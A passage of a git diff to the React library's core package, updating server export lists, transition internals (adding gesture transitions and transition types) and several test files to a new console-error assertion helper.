+export {
+  Children,
+  REACT_ACTIVITY_TYPE as Activity,
+  REACT_FRAGMENT_TYPE as Fragment,
+  REACT_PROFILER_TYPE as Profiler,
+  REACT_STRICT_MODE_TYPE as StrictMode,
+  REACT_SUSPENSE_TYPE as Suspense,
+  REACT_VIEW_TRANSITION_TYPE as ViewTransition,
+  cloneElement,
+  createElement,
+  createRef,
+  use,
+  forwardRef,
+  isValidElement,
+  lazy,
+  memo,
+  cache,
+  cacheSignal,
+  startTransition,
+  getCacheForType as unstable_getCacheForType,
+  useId,
+  useCallback,
+  useDebugValue,
+  useMemo,
+  version,
+  // Experimental
+  REACT_SUSPENSE_LIST_TYPE as unstable_SuspenseList,
+  // enableOptimisticKey
+  REACT_OPTIMISTIC_KEY as optimisticKey,
+  captureOwnerStack, // DEV-only
+};
diff --git a/packages/react/src/ReactServer.experimental.js b/packages/react/src/ReactServer.experimental.js
index 97b548f82d6b..0eb8eafccd43 100644
--- a/packages/react/src/ReactServer.experimental.js
+++ b/packages/react/src/ReactServer.experimental.js
@@ -15,7 +15,10 @@ import {
   REACT_PROFILER_TYPE,
   REACT_STRICT_MODE_TYPE,
   REACT_SUSPENSE_TYPE,
-  REACT_DEBUG_TRACING_MODE_TYPE,
+  REACT_SUSPENSE_LIST_TYPE,
+  REACT_VIEW_TRANSITION_TYPE,
+  REACT_ACTIVITY_TYPE,
+  REACT_OPTIMISTIC_KEY,
 } from 'shared/ReactSymbols';
 import {
   cloneElement,
@@ -29,15 +32,13 @@ import {
   useCallback,
   useDebugValue,
   useMemo,
-  useActionState,
   getCacheForType,
 } from './ReactHooks';
 import {forwardRef} from './ReactForwardRef';
 import {lazy} from './ReactLazy';
 import {memo} from './ReactMemo';
-import {cache} from './ReactCacheServer';
+import {cache, cacheSignal} from './ReactCacheServer';
 import {startTransition} from './ReactStartTransition';
-import {postpone} from './ReactPostpone';
 import version from 'shared/ReactVersion';
 
 const Children = {
@@ -56,10 +57,12 @@ export {
 
 export {
   Children,
+  REACT_ACTIVITY_TYPE as Activity,
   REACT_FRAGMENT_TYPE as Fragment,
   REACT_PROFILER_TYPE as Profiler,
   REACT_STRICT_MODE_TYPE as StrictMode,
   REACT_SUSPENSE_TYPE as Suspense,
+  REACT_VIEW_TRANSITION_TYPE as ViewTransition,
   cloneElement,
   createElement,
   createRef,
@@ -69,15 +72,16 @@ export {
   lazy,
   memo,
   cache,
+  cacheSignal,
   startTransition,
-  REACT_DEBUG_TRACING_MODE_TYPE as unstable_DebugTracingMode,
-  REACT_SUSPENSE_TYPE as unstable_SuspenseList,
   getCacheForType as unstable_getCacheForType,
-  postpone as unstable_postpone,
   useId,
   useCallback,
   useDebugValue,
   useMemo,
-  useActionState,
   version,
+  // Experimental
+  REACT_SUSPENSE_LIST_TYPE as unstable_SuspenseList,
+  // enableOptimisticKey
+  REACT_OPTIMISTIC_KEY as optimisticKey,
 };
diff --git a/packages/react/src/ReactServer.fb.js b/packages/react/src/ReactServer.fb.js
new file mode 100644
index 000000000000..5a4ea8145d93
--- /dev/null
+++ b/packages/react/src/ReactServer.fb.js
@@ -0,0 +1,76 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+export {default as __SERVER_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE} from './ReactSharedInternalsServer';
+
+import {forEach, map, count, toArray, only} from './ReactChildren';
+import {captureOwnerStack as captureOwnerStackImpl} from './ReactOwnerStack';
+import {
+  REACT_ACTIVITY_TYPE,
+  REACT_FRAGMENT_TYPE,
+  REACT_PROFILER_TYPE,
+  REACT_STRICT_MODE_TYPE,
+  REACT_SUSPENSE_TYPE,
+  REACT_SUSPENSE_LIST_TYPE,
+  REACT_VIEW_TRANSITION_TYPE,
+} from 'shared/ReactSymbols';
+import {
+  cloneElement,
+  createElement,
+  isValidElement,
+} from './jsx/ReactJSXElement';
+import {createRef} from './ReactCreateRef';
+import {use, useId, useCallback, useDebugValue, useMemo} from './ReactHooks';
+import {forwardRef} from './ReactForwardRef';
+import {lazy} from './ReactLazy';
+import {memo} from './ReactMemo';
+import {cache, cacheSignal} from './ReactCacheServer';
+import version from 'shared/ReactVersion';
+
+const Children = {
+  map,
+  forEach,
+  count,
+  toArray,
+  only,
+};
+
+let captureOwnerStack: ?() => null | string;
+if (__DEV__) {
+  captureOwnerStack = captureOwnerStackImpl;
+}
+
+export {
+  Children,
+  REACT_ACTIVITY_TYPE as Activity,
+  REACT_FRAGMENT_TYPE as Fragment,
+  REACT_PROFILER_TYPE as Profiler,
+  REACT_STRICT_MODE_TYPE as StrictMode,
+  REACT_SUSPENSE_TYPE as Suspense,
+  REACT_VIEW_TRANSITION_TYPE as ViewTransition,
+  REACT_VIEW_TRANSITION_TYPE as unstable_ViewTransition,
+  cloneElement,
+  createElement,
+  createRef,
+  use,
+  forwardRef,
+  isValidElement,
+  lazy,
+  memo,
+  cache,
+  cacheSignal,
+  useId,
+  useCallback,
+  useDebugValue,
+  useMemo,
+  version,
+  captureOwnerStack, // DEV-only
+  // Experimental
+  REACT_SUSPENSE_LIST_TYPE as unstable_SuspenseList,
+};
diff --git a/packages/react/src/ReactServer.js b/packages/react/src/ReactServer.js
index d6702023e474..81d83cbf4537 100644
--- a/packages/react/src/ReactServer.js
+++ b/packages/react/src/ReactServer.js
@@ -11,10 +11,12 @@ export {default as __SERVER_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRA
 
 import {forEach, map, count, toArray, only} from './ReactChildren';
 import {
+  REACT_ACTIVITY_TYPE,
   REACT_FRAGMENT_TYPE,
   REACT_PROFILER_TYPE,
   REACT_STRICT_MODE_TYPE,
   REACT_SUSPENSE_TYPE,
+  REACT_VIEW_TRANSITION_TYPE,
 } from 'shared/ReactSymbols';
 import {
   cloneElement,
@@ -26,8 +28,9 @@ import {use, useId, useCallback, useDebugValue, useMemo} from './ReactHooks';
 import {forwardRef} from './ReactForwardRef';
 import {lazy} from './ReactLazy';
 import {memo} from './ReactMemo';
-import {cache} from './ReactCacheServer';
+import {cache, cacheSignal} from './ReactCacheServer';
 import version from 'shared/ReactVersion';
+import {captureOwnerStack} from './ReactOwnerStack';
 
 const Children = {
   map,
@@ -39,10 +42,12 @@ const Children = {
 
 export {
   Children,
+  REACT_ACTIVITY_TYPE as Activity,
   REACT_FRAGMENT_TYPE as Fragment,
   REACT_PROFILER_TYPE as Profiler,
   REACT_STRICT_MODE_TYPE as StrictMode,
   REACT_SUSPENSE_TYPE as Suspense,
+  REACT_VIEW_TRANSITION_TYPE as ViewTransition,
   cloneElement,
   createElement,
   createRef,
@@ -52,9 +57,11 @@ export {
   lazy,
   memo,
   cache,
+  cacheSignal,
   useId,
   useCallback,
   useDebugValue,
   useMemo,
   version,
+  captureOwnerStack, // DEV-only
 };
diff --git a/packages/react/src/ReactSharedInternalsClient.js b/packages/react/src/ReactSharedInternalsClient.js
index 6a54c73be30f..cb957a5dfd32 100644
--- a/packages/react/src/ReactSharedInternalsClient.js
+++ b/packages/react/src/ReactSharedInternalsClient.js
@@ -9,19 +9,33 @@
 
 import type {Dispatcher} from 'react-reconciler/src/ReactInternalTypes';
 import type {AsyncDispatcher} from 'react-reconciler/src/ReactInternalTypes';
-import type {BatchConfigTransition} from 'react-reconciler/src/ReactFiberTracingMarkerComponent';
+import type {Transition} from './ReactStartTransition';
+import type {GestureProvider, GestureOptions} from 'shared/ReactTypes';
+
+import {enableGestureTransition} from 'shared/ReactFeatureFlags';
+
+type onStartTransitionFinish = (Transition, mixed) => void;
+type onStartGestureTransitionFinish = (
+  Transition,
+  GestureProvider,
+  ?GestureOptions,
+) => () => void;
 
 export type SharedStateClient = {
   H: null | Dispatcher, // ReactCurrentDispatcher for Hooks
   A: null | AsyncDispatcher, // ReactCurrentCache for Cache
-  T: null | BatchConfigTransition, // ReactCurrentBatchConfig for Transitions
-  S: null | ((BatchConfigTransition, mixed) => void), // onStartTransitionFinish
+  T: null | Transition, // ReactCurrentBatchConfig for Transitions
+  S: null | onStartTransitionFinish,
+  G: null | onStartGestureTransitionFinish,
 
   // DEV-only
 
   // ReactCurrentActQueue
   actQueue: null | Array<RendererTask>,
 
+  // When zero this means we're outside an async startTransition.
+  asyncTransitions: number,
+
   // Used to reproduce behavior of `batchedUpdates` in legacy mode.
   isBatchingLegacy: boolean,
   didScheduleLegacyUpdate: boolean,
@@ -35,7 +49,10 @@ export type SharedStateClient = {
   thrownErrors: Array<mixed>,
 
   // ReactDebugCurrentFrame
-  getCurrentStack: null | ((stack: Error) => string),
+  getCurrentStack: null | (() => string),
+
+  // ReactOwnerStackReset
+  recentlyCreatedOwnerStacks: 0,
 };
 
 export type RendererTask = boolean => RendererTask | null;
@@ -46,17 +63,20 @@ const ReactSharedInternals: SharedStateClient = ({
   T: null,
   S: null,
 }: any);
+if (enableGestureTransition) {
+  ReactSharedInternals.G = null;
+}
 
 if (__DEV__) {
   ReactSharedInternals.actQueue = null;
+  ReactSharedInternals.asyncTransitions = 0;
   ReactSharedInternals.isBatchingLegacy = false;
   ReactSharedInternals.didScheduleLegacyUpdate = false;
   ReactSharedInternals.didUsePromise = false;
   ReactSharedInternals.thrownErrors = [];
   // Stack implementation injected by the current renderer.
-  ReactSharedInternals.getCurrentStack = (null:
-    | null
-    | ((stack: Error) => string));
+  ReactSharedInternals.getCurrentStack = (null: null | (() => string));
+  ReactSharedInternals.recentlyCreatedOwnerStacks = 0;
 }
 
 export default ReactSharedInternals;
diff --git a/packages/react/src/ReactSharedInternalsServer.js b/packages/react/src/ReactSharedInternalsServer.js
index 749ce5c3ad44..c411b77b59db 100644
--- a/packages/react/src/ReactSharedInternalsServer.js
+++ b/packages/react/src/ReactSharedInternalsServer.js
@@ -38,7 +38,10 @@ export type SharedStateServer = {
   // DEV-only
 
   // ReactDebugCurrentFrame
-  getCurrentStack: null | ((stack: Error) => string),
+  getCurrentStack: null | (() => string),
+
+  // ReactOwnerStackReset
+  recentlyCreatedOwnerStacks: 0,
 };
 
 export type RendererTask = boolean => RendererTask | null;
@@ -58,9 +61,8 @@ if (enableTaint) {
 
 if (__DEV__) {
   // Stack implementation injected by the current renderer.
-  ReactSharedInternals.getCurrentStack = (null:
-    | null
-    | ((stack: Error) => string));
+  ReactSharedInternals.getCurrentStack = (null: null | (() => string));
+  ReactSharedInternals.recentlyCreatedOwnerStacks = 0;
 }
 
 export default ReactSharedInternals;
diff --git a/packages/react/src/ReactStartTransition.js b/packages/react/src/ReactStartTransition.js
index 6bae8947e1ce..3e353a3b6153 100644
--- a/packages/react/src/ReactStartTransition.js
+++ b/packages/react/src/ReactStartTransition.js
@@ -6,75 +6,185 @@
  *
  * @flow
  */
-import type {BatchConfigTransition} from 'react-reconciler/src/ReactFiberTracingMarkerComponent';
-import type {StartTransitionOptions} from 'shared/ReactTypes';
+
+import type {Fiber} from 'react-reconciler/src/ReactInternalTypes';
+import type {
+  StartTransitionOptions,
+  GestureProvider,
+  GestureOptions,
+} from 'shared/ReactTypes';
+import type {TransitionTypes} from './ReactTransitionType';
 
 import ReactSharedInternals from 'shared/ReactSharedInternals';
 
 import {
-  enableAsyncActions,
   enableTransitionTracing,
+  enableViewTransition,
+  enableGestureTransition,
 } from 'shared/ReactFeatureFlags';
 
 import reportGlobalError from 'shared/reportGlobalError';
 
+import noop from 'shared/noop';
+
+export type Transition = {
+  types: null | TransitionTypes, // enableViewTransition
+  gesture: null | GestureProvider, // enableGestureTransition
+  name: null | string, // enableTransitionTracing only
+  startTime: number, // enableTransitionTracing only
+  _updatedFibers: Set<Fiber>, // DEV-only
+  ...
+};
+
+function releaseAsyncTransition() {
+  if (__DEV__) {
+    ReactSharedInternals.asyncTransitions--;
+  }
+}
+
 export function startTransition(
   scope: () => void,
   options?: StartTransitionOptions,
-) {
+): void {
   const prevTransition = ReactSharedInternals.T;
-  const transition: BatchConfigTransition = {};
-  ReactSharedInternals.T = transition;
-  const currentTransition = ReactSharedInternals.T;
-
+  const currentTransition: Transition = ({}: any);
+  if (enableViewTransition) {
+    currentTransition.types =
+      prevTransition !== null
+        ? // If we're a nested transition, we should use the same set as the parent
+          // since we're conceptually always joined into the same entangled transition.
+          // In practice, this only matters if we add transition types in the inner
+          // without setting state. In that case, the inner transition can finish
+          // without waiting for the outer.
+          prevTransition.types
+        : null;
+  }
+  if (enableGestureTransition) {
+    currentTransition.gesture = null;
+  }
+  if (enableTransitionTracing) {
+    currentTransition.name =
+      options !== undefined && options.name !== undefined ? options.name : null;
+    currentTransition.startTime = -1; // TODO: This should read the timestamp.
+  }
   if (__DEV__) {
-    ReactSharedInternals.T._updatedFibers = new Set();
+    currentTransition._updatedFibers = new Set();
   }
+  ReactSharedInternals.T = currentTransition;
 
-  if (enableTransitionTracing) {
-    if (options !== undefined && options.name !== undefined) {
-      // $FlowFixMe[incompatible-use] found when upgrading Flow
-      ReactSharedInternals.T.name = options.name;
-      // $FlowFixMe[incompatible-use] found when upgrading Flow
-      ReactSharedInternals.T.startTime = -1;
+  try {
+    const returnValue = scope();
+    const onStartTransitionFinish = ReactSharedInternals.S;
+    if (onStartTransitionFinish !== null) {
+      onStartTransitionFinish(currentTransition, returnValue);
+    }
+    if (
+      typeof returnValue === 'object' &&
+      returnValue !== null &&
+      typeof returnValue.then === 'function'
+    ) {
+      if (__DEV__) {
+        // Keep track of the number of async transitions still running so we can warn.
+        ReactSharedInternals.asyncTransitions++;
+        returnValue.then(releaseAsyncTransition, releaseAsyncTransition);
+      }
+      returnValue.then(noop, reportGlobalError);
     }
+  } catch (error) {
+    reportGlobalError(error);
+  } finally {
+    warnAboutTransitionSubscriptions(prevTransition, currentTransition);
+    if (prevTransition !== null && currentTransition.types !== null) {
+      // If we created a new types set in the inner transition, we transfer it to the parent
+      // since they should share the same set. They're conceptually entangled.
+      if (__DEV__) {
+        if (
+          prevTransition.types !== null &&
+          prevTransition.types !== currentTransition.types
+        ) {
+          // Just assert that assumption holds that we're not overriding anything.
+          console.error(
+            'We expected inner Transitions to have transferred the outer types set and ' +
+              'that you cannot add to the outer Transition while inside the inner.' +
+              'This is a bug in React.',
+          );
+        }
+      }
+      prevTransition.types = currentTransition.types;
+    }
+    ReactSharedInternals.T = prevTransition;
   }
+}
 
-  if (enableAsyncActions) {
-    try {
-      const returnValue = scope();
-      const onStartTransitionFinish = ReactSharedInternals.S;
-      if (onStartTransitionFinish !== null) {
-        onStartTransitionFinish(transition, returnValue);
-      }
+export function startGestureTransition(
+  provider: GestureProvider,
+  scope: () => void,
+  options?: GestureOptions & StartTransitionOptions,
+): () => void {
+  if (!enableGestureTransition) {
+    // eslint-disable-next-line react-internal/prod-error-codes
+    throw new Error(
+      'startGestureTransition should not be exported when the enableGestureTransition flag is off.',
+    );
+  }
+  if (provider == null) {
+    // We enforce this at runtime even though the type also enforces it since we
+    // use null as a signal internally so it would lead it to be treated as a
+    // regular transition otherwise.
+    throw new Error(
+      'A Timeline is required as the first argument to startGestureTransition.',
+    );
+  }
+  const prevTransition = ReactSharedInternals.T;
+  const currentTransition: Transition = ({}: any);
+  if (enableViewTransition) {
+    currentTransition.types = null;
+  }
+  if (enableGestureTransition) {
+    currentTransition.gesture = provider;
+  }
+  if (enableTransitionTracing) {
+    currentTransition.name =
+      options !== undefined && options.name !== undefined ? options.name : null;
+    currentTransition.startTime = -1; // TODO: This should read the timestamp.
+  }
+  if (__DEV__) {
+    currentTransition._updatedFibers = new Set();
+  }
+  ReactSharedInternals.T = currentTransition;
+
+  try {
+    const returnValue = scope();
+    if (__DEV__) {
       if (
         typeof returnValue === 'object' &&
         returnValue !== null &&
         typeof returnValue.then === 'function'
       ) {
-        returnValue.then(noop, reportGlobalError);
+        console.error(
+          'Cannot use an async function in startGestureTransition. It must be able to start immediately.',
+        );
       }
-    } catch (error) {
-      reportGlobalError(error);
-    } finally {
-      warnAboutTransitionSubscriptions(prevTransition, currentTransition);
-      ReactSharedInternals.T = prevTransition;
     }
-  } else {
-    // When async actions are not enabled, startTransition does not
-    // capture errors.
-    try {
-      scope();
-    } finally {
-      warnAboutTransitionSubscriptions(prevTransition, currentTransition);
-      ReactSharedInternals.T = prevTransition;
+    const onStartGestureTransitionFinish = ReactSharedInternals.G;
+    if (onStartGestureTransitionFinish !== null) {
+      return onStartGestureTransitionFinish(
+        currentTransition,
+        provider,
+        options,
+      );
     }
+  } catch (error) {
+    reportGlobalError(error);
+  } finally {
+    ReactSharedInternals.T = prevTransition;
   }
+  return noop;
 }
 
 function warnAboutTransitionSubscriptions(
-  prevTransition: BatchConfigTransition | null,
-  currentTransition: BatchConfigTransition,
+  prevTransition: Transition | null,
+  currentTransition: Transition,
 ) {
   if (__DEV__) {
     if (prevTransition === null && currentTransition._updatedFibers) {
@@ -90,5 +200,3 @@ function warnAboutTransitionSubscriptions(
     }
   }
 }
-
-function noop() {}
diff --git a/packages/react/src/ReactTaint.js b/packages/react/src/ReactTaint.js
index 166457831723..99bf73ac2544 100644
--- a/packages/react/src/ReactTaint.js
+++ b/packages/react/src/ReactTaint.js
@@ -7,7 +7,7 @@
  * @flow
  */
 
-import {enableTaint, enableBinaryFlight} from 'shared/ReactFeatureFlags';
+import {enableTaint} from 'shared/ReactFeatureFlags';
 
 import getPrototypeOf from 'shared/getPrototypeOf';
 
@@ -76,8 +76,8 @@ export function taintUniqueValue(
     // Use as is.
     entryValue = value;
   } else if (
-    enableBinaryFlight &&
-    (value instanceof TypedArrayConstructor || value instanceof DataView)
+    value instanceof TypedArrayConstructor ||
+    value instanceof DataView
   ) {
     // For now, we just convert binary data to a string so that we can just use the native
     // hashing in the Map implementation. It doesn't really matter what form the string
diff --git a/packages/react/src/ReactTransitionType.js b/packages/react/src/ReactTransitionType.js
new file mode 100644
index 000000000000..80a785c2b1ba
--- /dev/null
+++ b/packages/react/src/ReactTransitionType.js
@@ -0,0 +1,50 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import ReactSharedInternals from 'shared/ReactSharedInternals';
+import {
+  enableViewTransition,
+  enableGestureTransition,
+} from 'shared/ReactFeatureFlags';
+import {startTransition} from './ReactStartTransition';
+
+export type TransitionTypes = Array<string>;
+
+export function addTransitionType(type: string): void {
+  if (enableViewTransition) {
+    const transition = ReactSharedInternals.T;
+    if (transition !== null) {
+      const transitionTypes = transition.types;
+      if (transitionTypes === null) {
+        transition.types = [type];
+      } else if (transitionTypes.indexOf(type) === -1) {
+        transitionTypes.push(type);
+      }
+    } else {
+      // We're in the async gap. Simulate an implicit startTransition around it.
+      if (__DEV__) {
+        if (ReactSharedInternals.asyncTransitions === 0) {
+          if (enableGestureTransition) {
+            console.error(
+              'addTransitionType can only be called inside a `startTransition()` ' +
+                'or `startGestureTransition()` callback. ' +
+                'It must be associated with a specific Transition.',
+            );
+          } else {
+            console.error(
+              'addTransitionType can only be called inside a `startTransition()` ' +
+                'callback. It must be associated with a specific Transition.',
+            );
+          }
+        }
+      }
+      startTransition(addTransitionType.bind(null, type));
+    }
+  }
+}
diff --git a/packages/react/src/__tests__/React-hooks-arity.js b/packages/react/src/__tests__/React-hooks-arity.js
new file mode 100644
index 000000000000..0ba63428d398
--- /dev/null
+++ b/packages/react/src/__tests__/React-hooks-arity.js
@@ -0,0 +1,44 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @emails react-core
+ */
+
+'use strict';
+
+let React;
+let ReactNoop;
+
+describe('arity', () => {
+  beforeEach(() => {
+    jest.resetModules();
+
+    React = require('react');
+    ReactNoop = require('react-noop-renderer');
+  });
+
+  it("ensure useState setter's arity is correct", () => {
+    function Component() {
+      const [, setState] = React.useState(() => 'Halo!');
+
+      expect(setState.length).toBe(1);
+      return null;
+    }
+
+    ReactNoop.render(<Component />);
+  });
+
+  it("ensure useReducer setter's arity is correct", () => {
+    function Component() {
+      const [, dispatch] = React.useReducer(() => 'Halo!');
+
+      expect(dispatch.length).toBe(1);
+      return null;
+    }
+
+    ReactNoop.render(<Component />);
+  });
+});
diff --git a/packages/react/src/__tests__/ReactChildren-test.js b/packages/react/src/__tests__/ReactChildren-test.js
index 2723755abfe4..8690b31dbe20 100644
--- a/packages/react/src/__tests__/ReactChildren-test.js
+++ b/packages/react/src/__tests__/ReactChildren-test.js
@@ -13,12 +13,13 @@ describe('ReactChildren', () => {
   let React;
   let ReactDOMClient;
   let act;
+  let assertConsoleErrorDev;
 
   beforeEach(() => {
     jest.resetModules();
     React = require('react');
     ReactDOMClient = require('react-dom/client');
-    act = require('internal-test-utils').act;
+    ({act, assertConsoleErrorDev} = require('internal-test-utils'));
   });
 
   it('should support identity for simple', () => {
@@ -331,15 +332,7 @@ describe('ReactChildren', () => {
       callback.mockClear();
     }
 
-    let instance;
-    expect(() => {
-      instance = <div>{threeDivIterable}</div>;
-    }).toErrorDev(
-      // With the flag on this doesn't warn eagerly but only when rendered
-      gate(flag => flag.enableOwnerStacks)
-        ? []
-        : ['Each child in a list should have a unique "key" prop.'],
-    );
+    const instance = <div>{threeDivIterable}</div>;
 
     React.Children.forEach(instance.props.children, callback, context);
 
@@ -359,11 +352,15 @@ describe('ReactChildren', () => {
 
     const container = document.createElement('div');
     const root = ReactDOMClient.createRoot(container);
-    await expect(async () => {
-      await act(() => {
-        root.render(instance);
-      });
-    }).toErrorDev('Each child in a list should have a unique "key" prop.');
+    await act(() => {
+      root.render(instance);
+    });
+    assertConsoleErrorDev([
+      'Each child in a list should have a unique "key" prop.\n\n' +
+        'Check the top-level render call using <div>. It was passed a child from div.' +
+        ' See https://react.dev/link/warning-keys for more information.\n' +
+        '    in div (at **)',
+    ]);
   });
 
   it('should be called for each child in an iterable with keys', () => {
@@ -867,6 +864,7 @@ describe('ReactChildren', () => {
   });
 
   it('warns for mapped list children without keys', async () => {
+    spyOnDev(console, 'error').mockImplementation(() => {});
     function ComponentRenderingMappedChildren({children}) {
       return (
         <div>
@@ -879,15 +877,21 @@ describe('ReactChildren', () => {
 
     const container = document.createElement('div');
     const root = ReactDOMClient.createRoot(container);
-    await expect(async () => {
-      await act(() => {
-        root.render(
-          <ComponentRenderingMappedChildren>
-            {[<div />]}
-          </ComponentRenderingMappedChildren>,
-        );
-      });
-    }).toErrorDev(['Each child in a list should have a unique "key" prop.']);
+    await act(() => {
+      root.render(
+        <ComponentRenderingMappedChildren>
+          {[<div />]}
+        </ComponentRenderingMappedChildren>,
+      );
+    });
+    if (__DEV__) {
+      const calls = console.error.mock.calls;
+      console.error.mockRestore();
+      expect(calls.length).toBe(1);
+      expect(calls[0][0]).toEqual(
+        'Each child in a list should have a unique "key" prop.%s%s See https://react.dev/link/warning-keys for more information.',
+      );
+    }
   });
 
   it('does not warn for mapped static children without keys', async () => {
@@ -903,16 +907,14 @@ describe('ReactChildren', () => {
 
     const container = document.createElement('div');
     const root = ReactDOMClient.createRoot(container);
-    await expect(async () => {
-      await act(() => {
-        root.render(
-          <ComponentRenderingMappedChildren>
-            <div />
-            <div />
-          </ComponentRenderingMappedChildren>,
-        );
-      });
-    }).toErrorDev([]);
+    await act(() => {
+      root.render(
+        <ComponentRenderingMappedChildren>
+          <div />
+          <div />
+        </ComponentRenderingMappedChildren>,
+      );
+    });
   });
 
   it('warns for cloned list children without keys', async () => {
@@ -926,15 +928,19 @@ describe('ReactChildren', () => {
 
     const container = document.createElement('div');
     const root = ReactDOMClient.createRoot(container);
-    await expect(async () => {
-      await act(() => {
-        root.render(
-          <ComponentRenderingClonedChildren>
-            {[<div />]}
-          </ComponentRenderingClonedChildren>,
-        );
-      });
-    }).toErrorDev(['Each child in a list should have a unique "key" prop.']);
+    await act(() => {
+      root.render(
+        <ComponentRenderingClonedChildren>
+          {[<div />]}
+        </ComponentRenderingClonedChildren>,
+      );
+    });
+    assertConsoleErrorDev([
+      'Each child in a list should have a unique "key" prop.\n\n' +
+        'Check the render method of `ComponentRenderingClonedChildren`.' +
+        ' See https://react.dev/link/warning-keys for more information.\n' +
+        '    in div (at **)',
+    ]);
   });
 
   it('does not warn for cloned static children without keys', async () => {
@@ -948,16 +954,14 @@ describe('ReactChildren', () => {
 
     const container = document.createElement('div');
     const root = ReactDOMClient.createRoot(container);
-    await expect(async () => {
-      await act(() => {
-        root.render(
-          <ComponentRenderingClonedChildren>
-            <div />
-            <div />
-          </ComponentRenderingClonedChildren>,
-        );
-      });
-    }).toErrorDev([]);
+    await act(() => {
+      root.render(
+        <ComponentRenderingClonedChildren>
+          <div />
+          <div />
+        </ComponentRenderingClonedChildren>,
+      );
+    });
   });
 
   it('warns for flattened list children without keys', async () => {
@@ -967,15 +971,19 @@ describe('ReactChildren', () => {
 
     const container = document.createElement('div');
     const root = ReactDOMClient.createRoot(container);
-    await expect(async () => {
-      await act(() => {
-        root.render(
-          <ComponentRenderingFlattenedChildren>
-            {[<div />]}
-          </ComponentRenderingFlattenedChildren>,
-        );
-      });
-    }).toErrorDev(['Each child in a list should have a unique "key" prop.']);
+    await act(() => {
+      root.render(
+        <ComponentRenderingFlattenedChildren>
+          {[<div />]}
+        </ComponentRenderingFlattenedChildren>,
+      );
+    });
+    assertConsoleErrorDev([
+      'Each child in a list should have a unique "key" prop.\n\n' +
+        'Check the render method of `ComponentRenderingFlattenedChildren`.' +
+        ' See https://react.dev/link/warning-keys for more information.\n' +
+        '    in div (at **)',
+    ]);
   });
 
   it('does not warn for flattened static children without keys', async () => {
@@ -985,16 +993,39 @@ describe('ReactChildren', () => {
 
     const container = document.createElement('div');
     const root = ReactDOMClient.createRoot(container);
-    await expect(async () => {
-      await act(() => {
-        root.render(
-          <ComponentRenderingFlattenedChildren>
-            <div />
-            <div />
-          </ComponentRenderingFlattenedChildren>,
-        );
-      });
-    }).toErrorDev([]);
+    await act(() => {
+      root.render(
+        <ComponentRenderingFlattenedChildren>
+          <div />
+          <div />
+        </ComponentRenderingFlattenedChildren>,
+      );
+    });
+  });
+
+  it('does not throw on children without `_store`', async () => {
+    function ComponentRenderingFlattenedChildren({children}) {
+      return <div>{React.Children.toArray(children)}</div>;
+    }
+
+    const source = <div />;
+    const productionElement = {};
+    Object.entries(source).forEach(([key, value]) => {
+      if (key !== '_owner' && key !== '_store') {
+        productionElement[key] = value;
+      }
+    });
+    Object.freeze(productionElement);
+
+    const container = document.createElement('div');
+    const root = ReactDOMClient.createRoot(container);
+    await act(() => {
+      root.render(
+        <ComponentRenderingFlattenedChildren>
+          {productionElement}
+        </ComponentRenderingFlattenedChildren>,
+      );
+    });
   });
 
   it('should escape keys', () => {
@@ -1153,18 +1184,16 @@ describe('ReactChildren', () => {
 
       const container = document.createElement('div');
       const root = ReactDOMClient.createRoot(container);
-      await expect(async () => {
-        await act(() => {
-          root.render(<ComponentReturningArray />);
-        });
-      }).toErrorDev(
-        '' +
-          'Each child in a list should have a unique "key" prop.' +
+      await act(() => {
+        root.render(<ComponentReturningArray />);
+      });
+      assertConsoleErrorDev([
+        'Each child in a list should have a unique "key" prop.' +
           '\n\nCheck the top-level render call using <ComponentReturningArray>. It was passed a child from ComponentReturningArray. ' +
           'See https://react.dev/link/warning-keys for more information.' +
           '\n    in div (at **)' +
           '\n    in ComponentReturningArray (at **)',
-      );
+      ]);
     });
 
     it('does not warn when there are keys on elements in a fragment', async () => {
@@ -1184,17 +1213,15 @@ describe('ReactChildren', () => {
     it('warns for keys for arrays at the top level', async () => {
       const container = document.createElement('div');
       const root = ReactDOMClient.createRoot(container);
-      await expect(async () => {
-        await act(() => {
-          root.render([<div />, <div />]);
-        });
-      }).toErrorDev(
-        '' +
-          'Each child in a list should have a unique "key" prop.' +
+      await act(() => {
+        root.render([<div />, <div />]);
+      });
+      assertConsoleErrorDev([
+        'Each child in a list should have a unique "key" prop.' +
           '\n\nCheck the top-level render call using <Root>. ' +
           'See https://react.dev/link/warning-keys for more information.' +
           '\n    in div (at **)',
-      );
+      ]);
     });
   });
 });
diff --git a/packages/react/src/__tests__/ReactClassEquivalence-test.js b/packages/react/src/__tests__/ReactClassEquivalence-test.js
index fa3d696e6a0d..26272a7a5d99 100644
--- a/packages/react/src/__tests__/ReactClassEquivalence-test.js
+++ b/packages/react/src/__tests__/ReactClassEquivalence-test.js
@@ -44,10 +44,6 @@ function runJest(testFile) {
       cwd,
       env: Object.assign({}, process.env, {
         REACT_CLASS_EQUIVALENCE_TEST: 'true',
-        // Remove these so that the test file is not filtered out by the mechanism
-        // we use to parallelize tests in CI
-        CIRCLE_NODE_TOTAL: '',
-        CIRCLE_NODE_INDEX: '',
       }),
     },
   );
diff --git a/packages/react/src/__tests__/ReactCoffeeScriptClass-test.coffee b/packages/react/src/__tests__/ReactCoffeeScriptClass-test.coffee
index f0822d628fd9..a762b9722974 100644
--- a/packages/react/src/__tests__/ReactCoffeeScriptClass-test.coffee
+++ b/packages/react/src/__tests__/ReactCoffeeScriptClass-test.coffee
@@ -9,6 +9,8 @@ PropTypes = null
 React = null
 ReactDOM = null
 ReactDOMClient = null
+assertConsoleErrorDev = null
+assertConsoleWarnDev = null
 
 featureFlags = require 'shared/ReactFeatureFlags'
 
@@ -28,6 +30,9 @@ describe 'ReactCoffeeScriptClass', ->
     root = ReactDOMClient.createRoot container
     attachedListener = null
     renderedName = null
+    TestUtils = require 'internal-test-utils'
+    assertConsoleErrorDev = TestUtils.assertConsoleErrorDev
+    assertConsoleWarnDev = TestUtils.assertConsoleWarnDev
     InnerComponent = class extends React.Component
